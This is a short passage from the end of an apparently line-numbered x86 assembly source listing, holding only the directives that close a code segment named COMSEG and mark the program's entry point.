  2427.  
  2428.  
  2429. COMSEG  ENDS
  2430.  
  2431.  
  2432.  
  2433.         END     START
  2434.  
  2435.  
  2436.  
  2437.